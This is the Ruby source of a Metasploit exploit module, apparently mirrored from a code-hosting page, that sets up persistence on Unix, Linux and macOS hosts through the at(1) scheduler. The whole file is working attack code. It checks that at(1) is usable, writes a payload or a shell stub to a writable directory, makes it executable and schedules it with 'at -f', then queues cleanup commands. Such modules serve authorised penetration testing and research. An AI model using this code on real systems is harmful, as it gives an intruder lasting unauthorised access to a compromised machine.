Files
metasploit-gs/modules/exploits/multi/persistence/at.rb
T
2025-09-12 14:13:26 +02:00

113 lines
4.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Local::Timespec
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/unix/local/at_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'at(1) Persistence',
'Description' => %q{
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with atd running.
Verified on Kali linux and OSX 13.7.4
},
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart@rapid7.com>'
],
'Targets' => [['Automatic', {} ]],
'DefaultTarget' => 0,
'Platform' => %w[unix linux osx],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['meterpreter', 'shell'],
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
'References' => [
['URL', 'https://linux.die.net/man/1/at'],
['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
])
end
def check
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'
# we do a direct test with atq instead of reading at.allow and at.deny
token = Rex::Text.rand_text_alphanumeric(8)
if cmd_exec("atq && echo #{token}").include?(token)
return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
end
CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
end
def install_persistence
fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
payload_path = datastore['WritableDir']
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
vprint_status("Writing payload to #{payload_path}")
if payload.arch.first == 'cmd'
upload_and_chmodx(payload_path, payload.encoded)
else
# because the payloads contents is imported into the at job, we use a stub to call our payload
# as it doesn't like binary payloads directly
payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
# stub, but keep payload_path name for consistency
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
upload_and_chmodx(payload_path_exe, generate_payload_exe)
@clean_up_rc << "rm #{payload_path_exe}\n"
end
@clean_up_rc << "rm #{payload_path}\n"
job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
job_id = job.split(' ')[1]
print_good("at job created with id: #{job_id}")
# this won't actually do anything since its not in a shell
@clean_up_rc << "atrm #{job_id}\n"
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
end
end